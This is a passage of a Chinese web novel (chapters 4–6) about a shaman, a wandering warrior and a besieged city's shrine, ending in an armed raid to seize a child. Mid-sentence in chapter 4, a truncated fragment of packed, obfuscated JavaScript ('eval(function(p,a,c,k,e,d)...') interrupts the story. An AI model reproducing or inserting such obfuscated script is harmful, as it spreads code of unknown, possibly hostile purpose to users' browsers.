女孩黑亮的眼睛正瞪着青南,警惕性很强。 “我听说鹭神使想学我族的图文,羽人族也有图文吗?” “也有,只是叫法不同,我们写在竹片上,称为:竹文。” 阙月将青南从头到脚打量一遍,丝毫不掩饰自己对外族巫祝的好奇,她继续问:“神使在哪里学会江皋话?青宫有人教吗?” 第一次有人问这个问题,青南回答:“我路途上经过江皋族人的聚落,在聚落停留过一段时日,便就学会了。” 阙月像是听见什么不得了的事,笑道:“我要介绍一个人给神使认识,你们都有一根神奇的舌头。” “介绍谁给谁认识?” 阙月和青南闻声回头,见到手上拿着一枝桃花的玄旸,他应该也是来祠庙向地母献花。 玄旸献完花,从供奉地母的半地穴大屋里出来,瞥眼阙月身旁的女孩,意味深长:“这孩子怎么有点眼熟。” 阙月瞪了他一眼。 望向祠庙后方的山丘,玄旸说:“我刚才折桃枝,望见一个男子在山上探头,模样鬼祟。” 是个心里有鬼的人,意识到被人发现,立即逃匿。 “不是第一次来了。”阙月不觉得意外。 “白湖那帮人一直在寻找机会进城,我知道他们想干什么,我不会让他们得逞。” 阙月继续说:“我现在只担心城中有人给白湖做内应,这次飨宴来了那么多客人,人多就怕出事。” 下意识地摸了摸弓身,她有预感,早晚会跟白湖人干一架。 “五溪城有一支夜巡队伍,负责巡视城门,防备敌人,眼下正是三月节,人多事多,人手不够,我需要帮手。” 玄旸环视四周,悠悠道:“这儿还是跟以前一样,种了这么多花花草草,巫暮还住在原来的小屋吗?” 阙月说:“别以为岔开话,事情就跟你没关系。” 玄旸漫不经心:“跟我有什么关系?” “看来约定你是不想履行了,我要不要挑个好日子,直接跟族人宣布我和你的婚事?” 玄旸笔直的大长腿踩踏在祠庙石阶上,步伐矫健,他很淡定:“阙月,你和五溪君得考虑白湖人提的要求,至少和他们坐一起好好谈谈。” “不可能,没什么好谈。”阙月声音冰冷。 玄旸说:“很多年前,外面的规矩就已经和五溪城的规矩不同,很多事情都在变化,人心也在改变,一旦那个消息传开,你们将得不到其它氏族的支持。” 说到“一旦那个消息传开”时,玄旸有意朝阙月身边的小女孩投去一眼。 “我不管外面如何变化,来到五溪城,就得遵守五溪城的规矩。氏族之间早就不谈交情,只要利益,本来也不指望他们能帮忙。”阙月心意已决。 “玄旸,你就在五溪城,你要么履行当年的约定,要么帮我们撵走白湖人。” 阙月态度强硬,声调提高,女孩不安地抬头看她。 “你们与白湖的纠葛我不会参与,我也帮不了。” 玄旸拒绝,转身离开。 过了一会,阙月低头用温和的语气对女孩说:“小辰,你去找盈姐姐,这几天你别回暮姐姐的屋子,都跟盈姐姐住。” 女孩点了点头。 青南在桃林散步,折返祠庙时,正好听见玄旸与阙月的谈话内容,听到不该听的话,他只当是没听见。 4. 第 4 章 青南本来已经入睡,又从睡梦中苏醒,他听见窗外有声响,起初以为是林风,仔细一听,才辨认出是箫声。 声音苍凉,寂寥,音色独特。 屋内昏暗,窗外有轮皑月,窗旁有人,那人也许背靠墙,望月吹奏排箫。 青南知道是排箫,一种竹制乐器,多年前他听过。 曲终,人没有离去,也不再演奏,窗外只剩风声。 “半夜不睡觉,来窗外做什么?” 青南用的是羽人族的语言,他知道窗外是谁。 “睡不着,出来走走。原来神使也还没睡,不如我们来叙叙旧?” 玄旸还真是背靠着墙,望着夜幕上的星月,排箫已经被他挂回腰间,他双手抱胸,两条腿交叉,姿态恣意而舒适。 双方使用的都是羽人族的语言,在这儿,这种语言只有他们两人听得懂。 这种感觉有些微妙,让人想畅所欲言。 “我不记得我与你有什么交情。” 青南闭着眼睛,他看不见窗外的人,但能感知。 “神使的记性真不好。” 玄旸换了个姿势,增大背部与墙接触的面积,他仰靠着,任由夜风抚脸。 同一句话,青南前夜已经听过一遍。 “我们有六年没见面,看来你把以前的事都忘记了,我还记得。” “有什么事吗?”青南打断对方的话。 “我来找你,就不能是为了求爱吗?” “我的箫吹得怎样,还喜欢吗?为了在你窗外吹箫,我特意跟族中伙伴借来一支排箫。” 青南想起有几枚浸药的骨针就放在枕下,将骨针扎在人身上,能使人麻痹。 用它“医治”窗外的大胆狂徒必有奇效。 还没等青南行动,玄旸已经纠正态度:“青南,这几天你不要去祠庙。” “为何?” “你也听说了,白湖人要来闹事。” “他们闹他们的,与我何干?” 天边飘来一朵云,慢慢遮住月亮,失去月光,窗外漆黑一片。 等青南起身,走到窗户前,窗外早不见玄旸的身影,他走了。 ** “神使能看懂这枚木签上的内容吗?” “‘月夜有情人,有花有酒’,我的解读准确吗?” 捧着一枚木签,青南释读木签上的符号。 “有一处错误,神使看这个月亮,它周边有月华,它的意思是:良辰。” 巫盈伸出一只手指,轻轻触碰木签上的一个符号,声音像在歌唱般悦耳:“良辰有情人,有花有酒。” 木签上的字迹秀丽,显然出自女子之手,这是个有才情的女子啊。 会是某一位巫女写给她情人的情话吗? 木签记下一段隐秘的情事。 “良辰……”青南呢喃,他想起覡鹳收藏的那枚木签,上面就有这个符号。 巫盈回过神来,将自己的手指缩回去,有些不好意思,她太过专注,心无旁骛,刚没留意木签上的句子很暧昧。 “其余几支木签鹭神使试着自己解读,有不认识的再问我。” “可以。” 巫盈起身,裙摆的陶响器随之响动,她离开木案,往屋外走去,屋外一直有人语声,除去巫暮的声音外,还有个陌生男子的声音。 青南没有抬头,直到陶响器发出的声音逐渐远去,他才放下手中的木签,侧耳倾听屋外的交谈声。 他认得玄旸的声音。 “都在这里躲一天了,还说不是在躲阙月,我们五溪君的女儿有什么不好?我看你还是乖乖从了吧。” 巫暮的声音,声音带有笑意。 “我午时才过来,躺这儿睡午觉不行吗。巫暮,既然你都听说了,是不是该帮我想想法子?” 玄旸的声音带谑意,听来漫不经心。 “我凭什么帮你这个外人,不帮我们自己人。” “我以前在五溪城住过,算不上是外人吧,再说我舅舅在世时,一直是五溪城的朋友。” “还敢提你那个到处惹祸的舅舅,也不怕五溪君像当年一样把你扣留在五溪城。” “你不帮忙,我又没处去,还是继续待在这儿舒适啊。” 玄旸的声音慵懒,可以想象他正在游廊或者树荫下歇息。 “我帮你出个主意,你在篝火会上找个愿意跟你互换腰带的人,拿着腰带去跟五溪君说你已经有恋人,无法跟阙月成亲。不过,你这种不肯履行约定的男人,我们五溪城的姑娘可瞧不上你,看有没有哪位好兄弟肯帮你,借条腰带给你。” 传来巫暮的笑语声。 江皋族习俗,腰带是恋人之间的定情物。 “篝火会要开始了,你快过去。” 还是巫暮的声音,随后再没听见玄旸出声,大概是被撵走了。 青南拿起一枚木签,他发现一个陌生符号,认真揣摩。 “暮姐姐,那个人是谁?” “是岱夷的武士,好几年前,他还在五溪城住过,他跟阙月有婚约。” 屋外的交谈声还在继续,是巫盈与巫暮在交谈。 “啊?婚约?” “也不能算是婚约,约定是五溪君两个女儿中的任何一个,只要选他做丈夫,他就必须答应,从此一辈子留在五溪城,守护五溪城。” “五溪君两个女儿中的任何一个……雾月姐姐已经不在了……” 巫盈的声音听来有些感伤。 “是啊,已经不在了。”巫暮怅然。 “暮姐姐,当年到底是怎么回事?雾月姐姐真是被白湖人害死的吗?” “你那时还没进祠庙,很多事情你都不知道,雾月虽不是被人用弓矛杀死,但她是被无形之刀所害。阿盈,雾月就在那间屋子里去世。当年,她怀着身孕,独自一人从白湖回来,在路途上遭尽磨难,耗尽力气,回来没多久人就不行了。” “啊!” 巫盈发出惊诧声。 两人沉默许久,才继续交谈,巫暮问:“小辰呢?” 巫盈说:“和月牙她们在主屋里。” 青南将案上的木签逐一阅读,全部读完,他无所事事,把手臂搁在膝盖上,盯着屋中插的一支桃花若有所思。 巫盈进屋,见青南在等候她,吃惊问:“神使都看完了?” “看完了,有几个符号,需要你来讲解。” 青南用树枝在沙盘上流利地书写上一个又一个符号,他竟然都记住了。 傍晚,五溪城的城门人来人往,有从城郊劳作回来的居民,也有其他氏族的来客,壕沟上的浮桥人影络绎不绝,玄旸刚出城门,就听见城外有人喊他,抬头一看是堂弟玄邴及族人麂子。 这两个家伙胸前都别着一束陶制花卉,花朵还特意制作成红色,这种红色小花山野寻常可见,被当地人称为地母花。 胸前别一束地母花是江皋族战士的象征。 玄邴向玄旸展示胸前的“勋章”,手指轻弹陶制花卉。 麂子热情招呼:“阙月正在招募各氏族的勇士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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五溪城人擅长种植稻米,酒也酿得好,来五溪城才几天,青南就发现这里的人生活无忧,脸上常洋溢笑容。 喝下鲜美的鱼汤,用竹箸夹起米饭,送入口咀嚼,青南想象城郊的人们燃起篝火,盛装的男女手拉着手,在篝火前跳舞,笑语盈盈。 在深幽青宫长大的青南,对民众的节日庆典并不是毫无兴趣。 夜晚,青南在油灯下削竹子,制作书写竹文的竹片,他要用羽人族的图文记录五溪城的重要见闻。 夜深,青南摘下羽冠,脱去外袍,卧下休息,入睡前,他往窗外看,空中有一轮圆月,圆月被一圈圈光晕环绕,这就是月华。 五溪城的图文符号里,月亮有多种形态与含义,有月华的月亮,代表:良辰。 青南起身,拿出覡鹳的木签,点上油灯照明,他第一次将这枚木签上的图文释读,他的声音很轻:“请与我……共度良辰。” “请与我共度良辰。” 青南又读了一遍,感到不可思议,竟然是一句情话。 覡鹳的木签,图文的笔画粗犷,与五溪城祠庙里收藏的木签风格迥异,五溪城祠庙的木签都出自女巫之手,字迹秀美,覡鹳收藏的木签明显出自男子之手。 当年,曾有一位五溪城男子出于爱慕之心,亲手写下这枚木签,交给覡鹳吗? 覡鹳可曾允诺? “没规定不许追求青宫之覡吧?” 玄旸说过的话,突然出现在脑中。 确实,没有这样的规定。 “我听说青宫之覡不能有家室,没听说到死也要保有童贞。” 玄旸说过的另一句话,也在耳边响起。 夜已深,以往会出现在窗外的那个家伙,今夜没来。 青南不觉得自己是在期待,或者感到些许失落,他默默收起木签,熄灭油灯,躺下入睡。 5. 第 5 章 “这个草我们唤作鹤草,你们唤做什么?” 巫盈白皙的手指轻轻一指,指向一株长有穗状花序的湿生植物,叶茎的形态颇似水禽,青南凑上前,低头看,回道:“咳草。” 靠近巫盈时,闻到她身上淡淡的草药香味,她腰间挂着一个小香包。 “咳草?” 本就是俯身的姿势,巫盈直起身,才发现自己和青南站得好近,两人为看同一棵植物,靠在一起。 “它能治疗咳嗽吗?”巫盈的眼睛特别亮,闪闪发光。 青南拔下这株名叫鹤草,又叫咳草的植物,将它的叶子放在手心搓揉,揉出气味,淡淡地说:“咳草气味像杏仁,味道苦涩,有止咳止疼的功效。” 巫盈的鼻子靠近青南的手掌,她仔细观察对方手心的药草,询问:“你们使用它的果实,还是茎叶做药?” “果实。” 青南拍落手上粘附的植物碎叶,将手指抬起,低头轻嗅气味,那动作流畅又优雅。 蹲下身,巫盈采集药草,轻巧地它们摘下,放入竹篮,青南问:“江皋族不用它做药吗?” “我们也用它做药,用在女子身上,有些女子来月事会腹疼,服用它能减轻疼痛。” 巫盈已经摘下一大把鹤草(咳草),她一只手支地,一只手搭在裙摆上,缓缓起身,动作轻柔,裙上的陶响器还是跟着响动。 “怎么使用它?”青南问得仔细。 “连同根须一起采摘,放在太阳下暴晒,晒干后能储存到明年,使用的时候,加水熬煮,熬出药汁。” 两人站在一起,你一句我一句交谈,一个是白色羽冠,长袍玉饰的青宫之覡,一个是绿袍红带,每走一步裙摆铃铃作响的五溪城巫女。 林间水畔,华美的年轻男女,组成一副赏心悦目的画面。 “盈姐姐!鹭神使!你们怎么还在那儿啊。我们摘了好多花,我还爬上树摘薜荔藤!” 月牙牵着葵,一路奔跑过来,她和葵手里都提着一个篮子,头上还戴着用藤萝编织的花冠。 这两个祠庙的小女巫跑在前头,巫暮和小辰走在后头,她们也都採了野花。 清晨,林间的风吹得人很舒服,阳光从枝叶间投射下来,能看见一束束光芒。 巫女们和青南逐渐远去,玄旸仍背靠着一棵大树,双臂抱胸站着,他没有变换过姿势,目光一直追随青南的身影。 青南戴面具,看不见他的神情,听他的声音,心情似乎很愉悦,音色不再冰冷,柔和许多。 玄旸眼睑低垂,回忆少年时期的青南。 少年青南坐在木阶上,拿着石磨板和石磨棒研磨草药,他听见身后传来衣物窸窣的声音,连忙放下手头的活,朝屋内快步走去。 玄旸当时躺在屋中养伤,他从睡梦中醒来,睁开眼睛,看见低下脸庞,眉眼含笑的青南,明眸皓齿,下垂的柔软发丝拂过他受伤缠系布条的额头。 那时,青南还不是青宫之覡,脸上还没戴面具。 适才与巫盈交谈的青南,如果摘下面具,应该也是笑着的样子吧。 一个轻盈身影来到身侧,玄旸没回过头,眼角余光一扫,就知道是谁。 “我听说你天天往祠庙跑,怎么?你对我们五溪城的巫女有想法?” 阙月一只手捻着一支野花,一只手探向后背,取下木弓,她说这些话时,面露微笑,但她取弓的动作莫名地给人威慑感。 “我对你们五溪城的巫女,毫无想法。” 玄旸可不想挨一箭,再有人敢拐走五溪城的巫女,还不被城主和她的女儿生撕了。 “哦。” 阙月追寻玄旸的视线,她露出一个揶揄的笑:“这么说来,是对鹭神使有想法啰?” 把双臂垫在后脑勺上,玄旸换了个姿势,模样恣意:“我最喜欢五溪城的一个规矩,你知道是什么吗?” “你们五溪城人,男与女互换腰带,女与女也会互换腰带,男与男同样可以互换腰带,不论性别,只要两人遵从本心,向地母发誓真心相爱,他们就是一对被祝福的恋人。” 阙月把手上的小野花慢悠悠插在木弓的弭尾上,她又把木弓背在身后,抬头:“我看你,还是先找到一个愿意跟你互换腰带的男子,再来跟我说你喜欢男人,你以前的约定不算数。” 阙月用力拍了拍玄旸的肩膀,狡黠一笑。 水畔的五溪城巫女和青宫之覡的身影即将消失在林间,玄旸和阙月同时跟上,他们远远跟在后面。 “上次我要介绍鹭神使给你认识,发现你们俩好像是旧相识呀,以前就认识?” “我以前在羽邑见过他。” “羽邑的巫覡是不是从小就要戴面具?” “不是,成为青宫的神使后才不能见人。” 两人闲谈,目光一直跟随前方的人,并时刻留意四周。 巫女们和青南返回祠庙,阙月看见小辰平安踏进院门,才不再偷偷尾随,她留在院外。 “今天又有人在城外发现几个鬼祟的人,白湖人肯定在密谋着什么,这几天行踪特别可疑。玄旸,你要不要加入夜巡队?要是真得跟白湖人打起来,你得帮忙,给!” 一样物品掷向玄旸,他伸手接住,不用拿起来看一眼,也知道是一枚五溪城的陶制地母花。 五溪城的战士佩戴地母花,加入夜巡队,在夜间巡视城里城外。 ** 一对前来向地母献花祈福的情侣牵手离去,巫暮望了望天边的太阳,已经是傍晚,这个时候,不会再有人前来祠庙。 巫暮想:鹭神使走了吗? 如果鹭神使已经离开,她便可以将院门关上。 “月牙!” 巫暮朝主屋喊叫,很快有人出来应答,是小巫女葵。 “大巫在教月牙捏泥塑,暮姐姐有什么事?” “小辰呢?也在里边吗?” “在呢,暮姐姐。” “葵,你到盈那边看看鹭神使回去了吗。” “好!” 葵穿过院中的小径,朝巫盈的小屋走去,她个头矮,院中花草茂密,她的身影很快消失不见。 巫暮本要朝主屋走去,想了想还是回头将院门关上,落闩。 正值三月节,五溪城的外来人员众多,就怕有白湖人混进来,不得不提防。 青南从巫盈的小屋出来,他听见城郊传来篝火会的鼓声,早习以为常,显得有些心不在焉。 他的心思在草药上,五溪城巫女掌握的草药知识极其丰富,有些治疗方法,更是闻所未闻。 与巫盈的交谈,让他受益良多。 经过庭院小径,来到主屋前,青南驻足,他发现院门紧闭。 “大巫?” 青南朝主屋喊叫,大巫总是待在主屋,他开门离开,还得有人将院门闩上。 没有回应。 青南察觉到异常——太安静了,祠庙中没有听见任何人的声音,祠庙可是住着三个大人三个孩子。 天边晚霞似火,祠庙空寂无声。 青南环视四周,望向摆满花卉的主屋,他悄无声息登上通往主屋的石阶,将手缓缓伸向腰间,手指刚碰触到腰间的布囊,就听见主屋传出孩子的尖叫声。 稍稍分神,一样尖锐物品已经抵住青南后背,身后传来阴沉的男声:“别动,把手拿出来。” 男子说着拗口的江皋语,他不是江皋族人。 这人刚刚就藏在主屋石阶左侧的花丛里,他在暗处,青南在明处。 右手被对方用力扭向背部,锐利的刀刃贴住青南的脖颈,触感冰寒。 冷静观察,青南发现挟持他的男子十分强健,身上穿着江皋族衣服,但不是江皋族人。 会不会是白湖人做伪装,为的是潜入五溪城的祠庙? 他们潜入祠庙想干什么? 来不及思考这件事,主屋里孩子们的叫声已经停止,青南的心不由地一沉。 听主屋的动静,青南猜测里头的歹徒至少两人,才能这么快控制住三个小孩,还有住在主屋的大巫。 “放开我!你们是什么人?” “呜呜大巫……呜呜……暮姐姐!” 女孩们被三名歹徒从主屋挟出,月牙又踢又咬,捂她嘴唇的歹徒不得不把手拿开。 葵吓愣了,听见月牙的叫声,她才小声啜泣,小辰始终怒瞪歹徒,默不作声。 挟持青南的歹徒注意力分散,刀刃稍微偏离青南的脖颈,青南瞥见大巫躺在神龛下,一动不动,同时他没被制服的左手在袖子里有细微动作。 “叫你别动!” 歹徒粗声粗气,刀刃紧紧贴着青南的脖颈。 青南问:“你们是什么人?为什么要抓这些孩子?” 歹徒用陌生的语言咒骂,刀刃在青南脖颈上割出一道伤口,血沿着刀锋往下滴,滴落在素白的衣领上。 青南微微皱眉。 歹徒对刀子架脖还不听话的青南很不满意,他说江皋族语十分吃力,拒绝再交流。 主屋里边传出巫暮虚弱的叫唤声:“月牙……带……快跑……” “暮姐姐!” 月牙激烈挣扎,可惜她年幼力弱,无法从成年男子的束缚中挣扎出来。 整座祠庙极可能已经落入歹徒手中,一时也不知道他们有多少人。 从屋后又出来五个男子,其中一人的装束与其他歹徒不同,这人大概三十岁,相貌英俊,体格强健,他右 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皋勾回答:“难办,我就知道你的儿子被藏在祠庙里,要不把孩子们的衣服都脱了,看看哪一个是男孩。” 青南想起之前在飨宴上见过皋勾,他是江皋族人。 果真是里应外合。 “不用脱衣服。” 头目看向哭瘫在地的葵,她受到很大的惊吓,浑身瑟抖。 皋勾问:“白章,你要用什么办法辨认?” 头目慢慢走向三个女孩,他颇为自信:“是我的孩子,我肯定能认出来。” 这个人,竟然就是当年诱拐雾月的白湖勇士——白湖城主之孙白章! 青南已经弄明白今天发生的事,难怪玄旸让他这几天别去祠庙。 这群白湖人会挑时机,这时候青壮纷纷出城参加城郊的篝火会,而巡逻队的夜巡活动还没开始。 白章忽略抽抽搭搭的葵,来到月牙跟前,月牙怒视他,一点也不惧怕。这孩子非常凶悍,挟持她的歹徒手臂和脸都是伤,有抓的有咬的。 白章低头端详,询问:“小孩,你今年几岁?” 月牙不理他。 胆大,充满野性,但怎么看怎么瞧都是个眉清目秀的女孩子。 白章转向小辰,他抬起小辰的脸蛋端详,眼神忽然变得惆怅,喃喃自语着什么,接着他蹲下身,轻声问:“孩子,你叫什么名字。” 小辰显得很不安,小拳头紧握。 “别怕。” 白章温声安慰,他抚摸孩子的脸庞,呢喃:“鼻子嘴巴似我,眼睛真像她……” 昔日爱人的模样浮现在眼前,白章张臂想拥抱自己的孩子,孩子本能地避开,转身就想跑。 白章不顾小辰挣扎,双臂紧紧抱住,他单膝屈地,声音深沉:“孩子,我是你父亲。” “白章!” 高亢的女声忽然从院墙上面传来,与此同时,祠庙紧闭的院门被人一脚踹开,涌进来七名江皋族战士,有男有女,领头的却不是江皋族人,而是玄旸。 “姨,我在这儿!” 小辰终于出声,是小男孩的声音。 阙月站在院墙上安慰:“小辰不要怕,姨这就把坏人统统抓起来!” 院墙不知道什么时候爬上去两个江皋族女弓手,其中一个还是以本领高强闻名的阙月。 两名弓手的箭镞都对着白章,白章的手下也有两人张弓,箭镞对准院墙上的敌方弓手。 五溪城的战士堵住院门出口,个个手执兵器,气势汹汹,白章的手下反应极其迅速,纷纷围簇在他身边,也都亮出锋利的武器。 双方一触即发。 本该在太阳下山后才开始干活的夜巡队,突然就出现在眼前,对于突发状况,白章丝毫不慌张。 白章没搭理阙月,跟玄旸打起招呼:“旸弟,多年不见,你什么时候去大岱城弄了一个武士身份?我前年去文邑,听你姐夫提起过你,说你人刚走。你四处旅行,怎么就不到白湖走走,我们兄弟俩好叙叙旧。” “得有七八年没见了,想当年我和章兄在五溪城相识,亲如兄弟。还记得章兄教我设陷阱抓兔子,一起上山猎鹿,那真是一段快乐无忧的时光。我早年跟着我舅舅四处游荡,舅舅离世后,我便回岱夷生活,住在玄夷城。没想到今日在五溪城又遇到章兄,真巧。” 玄旸跟白章寒暄时,目光一度挪到青南身上,他留意到青南衣领上有血迹,脖颈上有一处割伤。 “日子过得真快,不想我再次来到五溪城,佳人不在,空留遗憾。”白章喟然,他默默将小辰搂到身前,又用身上的斗篷将孩子罩住。 6. 第 6 章 “我后来才听说你跟雾月离开五溪城,一起去白湖……当年我还是个半大孩子,也能看出你们互相爱着对方,明明是那么相爱的两人,到底是因为什么缘故分开?” 玄旸继续寒暄,他边陈述边打量白章腰间样式新颖,材质特殊的环首匕首,也留意到白章的左臂将小辰紧紧束缚,小孩一直在挣扎。 “玄旸!你跟他到底在说什么?不许用地中语!” 阙月在院墙上大声囔囔,她很生气。 玄旸回:“没什么,我问他雾月的事,我已经听过五溪城的说法,也想听听白湖的。” 阙月将箭头转向玄旸,冷言冷语:“就知道你们都一个样,你要敢帮白章,我第一箭先射穿你!” 白章这边的弓手早就将箭镞瞄准阙月,把弓拉圆,只待一声令下。 玄旸劝话:“白章,让孩子们先出去吧,谁知道她发起疯来会干出什么事。” 白章轻抚小辰的背,虽然小孩不怎么配合,他对玄旸说:“我放那两个孩子出去,这些五溪城战士立即就会攻上来,我不在乎丢掉性命,只恨将带不走我的儿子。旸弟,你还不了解她们母女俩吗?她们可是恨不得生撕了我。” 小辰从斗篷里钻出一颗小脑袋,朝阙月哭喊:“姨!我不要跟他们走!” 阙月安慰:“把眼泪擦擦,姨不许,谁也带不走你。” “那把羽人族巫祝放了,他是南方部族,和整件事没有关系。章兄,我们岱夷有句俗语:傻子才去招惹巫覡。” 玄旸看向青南。 一开始就被劫持,使青南的站位靠近白章的人,受对方的人盯梢。 白章问:“他是你朋友?” 玄旸回:“是我的老相识。” “你不是想听我跟雾月的事吗?我用江皋语讲述给你听,这样阙月也能听懂,我没有谎言,也不会为自己辩解。” 白章开始讲述往事,讲述过程中,小辰在他手臂里挣扎,甚至抓咬,他只是摸了摸孩子的头,劝孩子安静。 白章的讲述饱含深情,讲到伤心处眼眶泛红,阙月给他讲述的机会,没有出声反驳或怒骂。 白章讲述完毕,阙月才出声。 “对,事情就是这样,他已经娶了我姐姐,已经有妻子,还要再娶一个,呵,真令人恶心。” 阙月越说越激动:“白章,我姐姐为了你,离开家人朋友,生活的土地,几乎失去所有。她是那么信任你,孤零零一人跟你到完全陌生,甚至连话都听不明白的白湖,你就这么对她!” “你们不停逼迫她,逼她同意你再娶,要她交出象征配偶身份的鸾佩,好做为你迎娶新妻子的聘礼!知道她绝对不会同意,居然瞒着她把婚事定下来。别人骗她,连你也骗她,你可真是牲畜不如。” 阙月咬牙切齿:“互换腰带前,不是要在神明面前发誓吗?发誓真心相爱,绝不辜负,否则不得好死!誓言在你这种人看来,就像雪花落在手背上,可以轻易抹去。” 白章摇了摇头,表情痛苦地说:“我不只是雾月的丈夫,也是白湖君的长孙,我两者皆是。迎娶隼城城主的女儿,不是我说不情愿,就能不娶。我只爱雾月,就在这里,我愿意再次向地母发誓,我只爱雾月一人,从未变心,如果我有谎言,就让我死在野兽之口,破肚烂肠。” 阙月讥讽:“这么不情愿,还能生好几个孩子呢。满嘴都是谎话,你这种人就不配活着!” “啊啊……” 一名男人发出惊恐的叫声,他发疯般抓挠脖子,双目圆瞪,连连倒退,不是别人,正是盯梢青南的那名歹徒。 青南冷语:“我没兴趣听,也失去耐心。” 白章的一名手下暴怒,拔出匕首冲向青南,青南左手举起,只听见有什么东西自掌心崩裂,如雾般的粉尘洒向男子的脸,男子捂住眼睛,发出惨叫声。 “还等什么!” 阙月大吼,当机立断一箭射向挟持月牙的歹徒。 另一名江皋族弓手紧随,射向挟持葵的歹徒,配合很完美。 她们在院墙上早就商议好伺机动手,才能心有灵犀。 劫持月牙和葵的歹徒都站在外围,不像被歹徒围簇在内的白章那么难瞄准。 歹徒背部中箭,疼痛使他松开手臂,月牙挣脱对方的束缚,拔腿就跑,她不只是顾着自己逃跑,还不忘去拉葵,拽着她一并朝自己人的方向奔去。 白章的弓手回过神来,立即进行反击,院墙上的弓手被射落一人,重重摔在地上。 阙月右肩中箭,单手攀住外墙的边沿,躲避追击她的箭镞。 “都住手!” 玄旸大声喝止,没人听从。 双方的人早打做一团。 白章的手下减员,凭人数不占上风,但他们装备精良,五溪城的战士明显不敌,两个女孩在混战中惊慌大叫,抱头缩在地上,紧急关头,又瞥见白章的一名手下朝青南投掷长矛。 玄旸快速奔跑,借力从地面跃起身,他以让人目不暇接的手速掏出弓箭,一箭射向半空中急速飞旋的长矛,干扰它的轨道。 长矛在空中受到冲击,偏离原来的目标,歪斜扎进一堵土墙。 玄旸的身影紧随而来,他轻巧拔出长矛,转身展臂一掷,长矛如疾风飞向原主人,原主人慌忙想闪避但已经来不及,长矛在耳边呼啸,发出震响,深深扎进走廊的木梁上,它的主人双膝一软,跪在地上,头上的发髻披散,鲜血从额头上往下流。 长矛擦过该男子的头发,削去一部分头皮,差那么一点点,被削掉的就不是头皮而是头盖骨了。 跨步上前,玄旸一脚踏在男子肩上,一脚踹向木梁,应势拔出长矛,他挥动长矛,侧身一跃,身影已经蹿入混战的人群中。 忽然,打斗中的人们纷纷痛苦地捂住手臂,他们手中的武器被逐一击落,速度太快,都没反应过来发生了什么事。 白章的手下训练有素,一回过神,就麻利捡起掉落的武器,准备齐攻玄旸,突然从身后传来喝止声:“听我命令,全都住手!” 白章出声,他抱着小辰站在主屋的屋檐下,身边有两名弓手护在左右。 这一句话既不是江皋话,也不是地中话,连玄旸也听不懂。 “这些人到底是什么人?” 玄旸阴沉着脸,他举起手中的长矛,看视矛头一眼,黄色矛头,材质比水晶还硬,比燧石还锋利。 矛头不是骨矛,也不是石矛,属于一种很稀罕的材料,高地族称这种材料为:吉金。 吉金,后世称作:青铜。 其实玄旸早就发现了,白章腰间佩带的环首刀用吉金打造。 白章带来的这些人,有一部分并非白湖人。 见到玄旸身为岱夷武士那令人咋舌的战斗力后,白章对于他如此敏锐已经不感到惊讶:“他们是高地族的战士。” “让他们卖命,要给不少的报酬吧。” “是不少,白湖最不缺的就是财物。” “章兄一定要带走这个孩子吗?” “当然,他是我唯一的子嗣。” 两人一问一答,先前兄弟和睦的氛围早已经消失无踪。 白章安抚怀中惊吓过度,模样显得呆滞的小辰,抬起头,表情阴郁:“你要阻止我吗?” “流在这里的血够多了,以前人们可不会在祠庙里打打杀杀。”玄旸看向倒地不起的三名伤员,两人是白章的手下,一人是五溪城的弓手。 “是啊,以前人们不会做出这么可怕的事情,可是我们得接受变化。外面很早就已经发生巨变,也就一些小地方的人,侥幸没被波及,还能守着她们陈旧的规矩。旸弟,你是个有见识的人,你去过那么多地方,你知道我说的都是事实。” 白章继续说:“以白湖的财富,能让这个孩子过上人世间最富裕的生活,能让他一生圆满。五溪君被仇恨蒙蔽眼睛,她的小女儿阙月也是,她们母女将我的儿子藏在祠庙里,像养育女孩那样养育他,摧毁他天然的秉性,这难道不是在作恶吗?” “闭嘴!” 阙月大喝,她坐在院墙上,脸色显得苍白,前胸有一片血迹。 贯穿她肩膀的箭已经被她折断,血窟窿不停在流血。 她在失血。 “别装得好像你很在乎小辰,这六年来,你来找过小辰吗?” 阙月愤愤不平,继续往下说:“不就是你生的全是女儿,你需要一个儿子,终于想起自己还有个孩子,才想来五溪城把孩子抢走。我们五溪城女人生的孩子,都要在母家生活,孩子在母家长大,有疼爱他的老祖母、父母、姨妈、舅舅、哥哥姐姐。在这里,每个人都互相关心,互相照顾,比会欺负女人孩子的白湖好十倍!” “去年年底,白湖突然派人来索要雾月的孩子,我们不得不将小辰藏在祠庙里,让他暂时扮作女孩。” 雾月伤口疼痛,稍作停顿,继续往下说:“到底是谁在作恶,使孩子刚出生就失去母亲。你们白湖人,尤其是你白章,你还欠着我们家一条人命!” 遭到指责,白章脸上露出愧意,那愧意稍纵即逝。 “小辰不只是你们五溪城的孩子,更是我们白湖的孩子,是我唯一的子嗣,他生来注定要享受人世间一切美好之物。你们将他困在这种贫穷又偏僻的小地方,想让他就这样愚昧地度过一生,还说不是在害他?” 白章低头看向小辰,轻抚孩子的背,当他抬起头,神情冷漠且傲慢。 他的愤懑很真实,他原来瞧不上五溪城啊。 两人还在争辩,双方的手下互相警惕。 玄旸走向青南,察看他的情况,除去脖子上有道小伤口在淌血,身上没有其他伤。 抬手轻碰青南的脖颈,玄旸用羽人族语低喃:“我不是叫你别出手吗?” “有吗?”青南拨开对方的手指。 “我对你眨眼睛。” “没看见。” 当青南瞧出玄旸真正的立场和自己的立场一样,他便用带毒的骨针扎向歹徒脖颈,造成混乱,给阙月制造机会。 青南还是低估了白章的手下,他没有玄旸四处游历的经验,和绝大部分人一样,不认识北方高地族的吉金(青铜)武器。 “呵我们五溪城穷,白湖又是什么好地方,一个连禾苗都不能生长的死地。”阙月反唇相 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玄旸继续往下说:“孩子由母家抚养,是五溪城自古以来的规矩,也是孩子母亲的心愿,章兄必须遵守。当孩子年龄渐长,他会有自己的想法,是留在五溪城,还是去白湖,他会做出选择。” 见白章和阙月都沉默不语,玄旸的声音洪亮,当众宣布:“我受五溪君之托,让我见到白湖君之孙白章,就帮她传话:五溪君愿意与白湖盟誓,在盟会上当众宣告辰的身份。在辰成年之前,他将留在五溪城,在辰成年之后,由他决定去留,五溪城绝不阻拦!” “玄旸!”阙月大吃一惊。 “我不同意。”白章反应冷漠。 “章兄打算在孩子面前杀死他最亲的姨妈吗?小辰可是由阙月一手带大。”玄旸质问。 白章默然,以阙月的性格,除非踩着她的尸体,她才会放行。 